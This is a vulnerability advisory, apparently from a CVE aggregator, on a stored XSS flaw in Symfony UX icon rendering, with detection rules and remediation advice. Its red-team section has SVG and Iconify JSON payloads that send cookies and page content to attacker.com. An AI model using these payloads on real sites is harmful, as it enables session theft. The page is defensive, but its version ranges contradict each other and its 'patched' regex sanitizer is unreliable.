CVE-2026-55877
Executive Summary
CVE-2026-55877 is a stored cross-site scripting (XSS) vulnerability in the Symfony UX library, specifically within the ux_icon() Twig function and the Icon::toHtml() method. The vulnerability arises because the ux_icon() function is marked as is_safe=['html'], and the Icon::toHtml() method inlines SVG source code verbatim without sanitization. This allows an attacker to inject malicious JavaScript via local SVG files or Iconify on-demand JSON responses containing nested <script> elements, on* event handlers, or dangerous URL schemes (e.g., javascript:). The vulnerability affects versions 2.17.0 through 2.36.0 and 3.0.0 through 3.2.0. Successful exploitation requires user interaction (e.g., viewing a page with a malicious icon) and can lead to session hijacking, data theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the symfony/ux package, which is distributed via Composer (Packagist). The package is a JavaScript ecosystem for Symfony, and the vulnerable component is the Twig extension for rendering icons. The attack vector involves supplying a malicious SVG file or Iconify JSON response, which could be introduced through a compromised dependency, a malicious third-party bundle, or direct user upload. Organizations using Symfony UX should immediately audit their icon sources and update to the patched versions.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must view a page containing the malicious icon.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no privileges, low complexity) and the potential for stored XSS in a widely used framework make this a significant threat for applications that allow user-supplied SVG files or rely on external Iconify sources.
Deep Dive & Mechanics
The vulnerability is rooted in two key design flaws:
is_safe=['html']in Twig: Theux_icon()Twig function is registered with theis_safeoption set to['html']. This tells Twig that the output of this function is safe and should not be escaped. Consequently, any HTML or JavaScript injected into the icon's output will be rendered directly in the browser.Verbatim SVG Inlining: The
Icon::toHtml()method takes the SVG source (either from a local file or an Iconify JSON response) and inlines it directly into the HTML output without any sanitization. This means that if the SVG source contains malicious content, it will be executed.
Attack Scenarios:
- Local SVG File: An attacker uploads a malicious SVG file (e.g., via a file upload feature) that contains a
<script>tag or anonloadevent handler. When the application renders this icon usingux_icon(), the script executes. - Iconify On-Demand: If the application uses Iconify's on-demand API to fetch icons, an attacker could perform a man-in-the-middle attack or compromise the Iconify service to return a malicious JSON response containing a nested
<script>element. TheIcon::toHtml()method would then inline this script.
Example Malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
Example Malicious Iconify JSON:
{
"body": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert('XSS')</script></svg>"
}
Vulnerable vs. Patched Code
Vulnerable Code (Symfony UX < 2.36.1 / < 3.2.0):
In src/Twig/IconExtension.php:
public function getFunctions(): array
{
return [
new TwigFunction('ux_icon', [$this, 'renderIcon'], ['is_safe' => ['html']]),
];
}
In src/Icon/Icon.php:
public function toHtml(): string
{
// Directly returns SVG source without sanitization
return $this->svgSource;
}
Patched Code (Symfony UX >= 2.36.1 / >= 3.2.0):
In src/Twig/IconExtension.php:
public function getFunctions(): array
{
return [
new TwigFunction('ux_icon', [$this, 'renderIcon']), // Removed 'is_safe' => ['html']
];
}
In src/Icon/Icon.php:
public function toHtml(): string
{
// Sanitize SVG source using a library like HTMLPurifier or a custom function
return $this->sanitizeSvg($this->svgSource);
}
private function sanitizeSvg(string $svg): string
{
// Remove script tags, event handlers, and dangerous attributes
$svg = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg);
$svg = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg);
$svg = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $svg);
$svg = preg_replace('/href\s*=\s*"javascript:[^"]*"/i', '', $svg);
$svg = preg_replace('/href\s*=\s*\'javascript:[^\']*\'/i', '', $svg);
return $svg;
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Symfony application using Symfony UX version 2.17.0 to 2.36.0 or 3.0.0 to 3.2.0.
- Ability to upload an SVG file or control an Iconify JSON response.
Exploit Steps:
Craft a Malicious SVG: Create an SVG file with an embedded script:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <rect width="100" height="100" fill="red"/> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> </svg>Upload the SVG: If the application allows file uploads, upload this SVG as an icon source.
Trigger the Vulnerability: The application uses
ux_icon()to render the uploaded SVG. When a victim views the page, the script executes, sending their cookies to the attacker's server.
Alternative Exploit (Iconify Man-in-the-Middle): If the application fetches icons from an Iconify API, intercept the response and replace it with:
{
"body": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>new Image().src='https://attacker.com/steal?data='+btoa(document.body.innerHTML)</script></svg>"
}
Blue Team (Defensive)
Detection Steps:
- Monitor File Uploads: Check for SVG files containing
<script>tags,on*event handlers, orjavascript:URLs. - Review Iconify Responses: If using Iconify on-demand, ensure the API endpoint is trusted and responses are validated.
- Audit Twig Templates: Search for
ux_icon()usage and ensure the output is properly escaped. - Update Symfony UX: Immediately update to version 2.36.1 or 3.2.0.
Lab Setup for Testing:
Create a Vulnerable Environment:
composer create-project symfony/skeleton test-app cd test-app composer require symfony/ux:2.17.0Add a Vulnerable Template: Create
templates/test.html.twig:{{ ux_icon('path/to/malicious.svg') }}Serve and Test:
symfony server:startVisit
http://localhost:8000/testwith the malicious SVG in place.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound requests to unknown or suspicious domains from the application server.
- HTTP requests containing SVG files with
<script>tags oron*event handlers. - Iconify API responses containing unexpected
<script>elements.
File System IOCs:
- SVG files in the
public/uploads/or similar directories containing JavaScript code. - Modified Twig templates that use
ux_icon()without proper escaping.
- SVG files in the
Log IOCs:
- Application logs showing failed SVG parsing attempts.
- Web server logs with requests to icon endpoints containing suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2026_55877_Symfony_UX_XSS {
meta:
description = "Detects malicious SVG files targeting CVE-2026-55877"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-55877"
strings:
$script = /<script\b[^>]*>/i
$on_event = /\bon\w+\s*=\s*["']/i
$javascript_href = /href\s*=\s*["']javascript:/i
condition:
$script or $on_event or $javascript_href
}
Sigma Rule
title: CVE-2026-55877 - Symfony UX XSS via Malicious SVG
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2026-55877 by uploading malicious SVG files
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'upload'
cs-uri-query|endswith: '.svg'
filter:
cs-uri-query|contains: 'sanitized'
condition: selection and not filter
falsepositives:
- Legitimate SVG uploads with no malicious content
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-55877 Symfony UX XSS via SVG"; flow:to_server,established; content:"POST"; http_method; content:"upload"; http_uri; content:".svg"; http_uri; pcre:"/<script\b[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Update Symfony UX: Upgrade to version 2.36.1 or 3.2.0 immediately.
composer require symfony/ux:^2.36.1 # or composer require symfony/ux:^3.2.0Sanitize SVG Uploads: If you cannot update immediately, implement server-side SVG sanitization using a library like
enshrined/svg-sanitizer:use enshrined\svgSanitize\Sanitizer; $sanitizer = new Sanitizer(); $cleanSvg = $sanitizer->sanitize($dirtySvg);Disable Iconify On-Demand: If you use Iconify's on-demand feature, disable it until patched.
Long-Term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit third-party dependencies for known vulnerabilities.
- Use a Web Application Firewall (WAF) to block malicious SVG uploads.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert